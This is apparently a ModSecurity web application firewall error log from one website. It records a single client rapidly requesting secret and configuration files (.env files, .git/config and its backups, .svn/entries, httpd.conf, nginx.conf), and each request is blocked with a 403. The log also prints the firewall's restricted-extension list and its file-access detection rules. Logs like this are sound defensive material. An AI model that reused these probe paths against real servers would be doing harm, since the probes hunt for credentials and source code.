[Sun Oct 25 03:14:20.966387 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2sTKrU4NwppjTEGaL5hgAAAAY"]
[Sun Oct 25 03:14:20.966731 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at2sTKrU4NwppjTEGaL5hgAAAAY"]
[Sun Oct 25 03:14:21.087771 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2sTarU4NwppjTEGaL5hwAAAAY"]
[Sun Oct 25 03:14:21.088118 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2sTarU4NwppjTEGaL5hwAAAAY"]
[Sun Oct 25 03:14:21.088376 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2sTarU4NwppjTEGaL5hwAAAAY"]
[Sun Oct 25 03:14:21.088679 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at2sTarU4NwppjTEGaL5hwAAAAY"]
[Sun Oct 25 03:14:21.181371 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2sTarU4NwppjTEGaL5iAAAAAY"]
[Sun Oct 25 03:14:21.181660 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2sTarU4NwppjTEGaL5iAAAAAY"]
[Sun Oct 25 03:14:21.181870 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2sTarU4NwppjTEGaL5iAAAAAY"]
[Sun Oct 25 03:14:21.182233 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at2sTarU4NwppjTEGaL5iAAAAAY"]
[Sun Oct 25 03:14:21.293321 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5iQAAAAY"]
[Sun Oct 25 03:14:21.293570 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5iQAAAAY"]
[Sun Oct 25 03:14:21.293900 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/app/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5iQAAAAY"]
[Sun Oct 25 03:14:21.391984 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2sTarU4NwppjTEGaL5igAAAAY"]
[Sun Oct 25 03:14:21.392247 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2sTarU4NwppjTEGaL5igAAAAY"]
[Sun Oct 25 03:14:21.392644 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at2sTarU4NwppjTEGaL5igAAAAY"]
[Sun Oct 25 03:14:21.565577 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5jAAAAAY"]
[Sun Oct 25 03:14:21.565820 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5jAAAAAY"]
[Sun Oct 25 03:14:21.566168 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at2sTarU4NwppjTEGaL5jAAAAAY"]
[Sun Oct 25 03:14:21.652613 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2sTarU4NwppjTEGaL5jQAAAAY"]
[Sun Oct 25 03:14:21.652850 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2sTarU4NwppjTEGaL5jQAAAAY"]
[Sun Oct 25 03:14:21.653214 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at2sTarU4NwppjTEGaL5jQAAAAY"]
[Sun Oct 25 03:14:22.021943 2026] [proxy_fcgi:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 03:14:22.154087 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/httpd.conf"] [unique_id "at2sTqrU4NwppjTEGaL5kQAAAAY"]
[Sun Oct 25 03:14:22.154547 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/httpd.conf"] [unique_id "at2sTqrU4NwppjTEGaL5kQAAAAY"]
[Sun Oct 25 03:14:22.154837 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/httpd.conf"] [unique_id "at2sTqrU4NwppjTEGaL5kQAAAAY"]
[Sun Oct 25 03:14:22.329595 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2sTqrU4NwppjTEGaL5kwAAAAY"]
[Sun Oct 25 03:14:22.331336 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2sTqrU4NwppjTEGaL5kwAAAAY"]
[Sun Oct 25 03:14:22.331660 2026] [security2:error] [pid 2781480:tid 2781480] [client 185.177.72.205:22206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at2sTqrU4NwppjTEGaL5kwAAAAY"]
[Sun Oct 25 03:14:22.750220 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/nginx.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQAAAAAE"]
[Sun Oct 25 03:14:22.750682 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/nginx.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQAAAAAE"]
[Sun Oct 25 03:14:22.827520 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/nginx.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQAAAAAE"]
[Sun Oct 25 03:14:22.831810 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sesion2.sherwinpinturas.com"] [uri "/conf.d/default.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQQAAAAE"]
[Sun Oct 25 03:14:22.832271 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/conf.d/default.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQQAAAAE"]
[Sun Oct 25 03:14:22.832612 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/conf.d/default.conf"] [unique_id "at2sTrQKh4dfs72fmHxvQQAAAAE"]
[Sun Oct 25 03:14:25.996901 2026] [security2:error] [pid 2781030:tid 2781030] [client 185.177.72.205:53000] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wp-content/uploads/2024/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/wp-content/uploads/2024/.env"] [unique_id "at2sUbQKh4dfs72fmHxvXwAAAAE"]
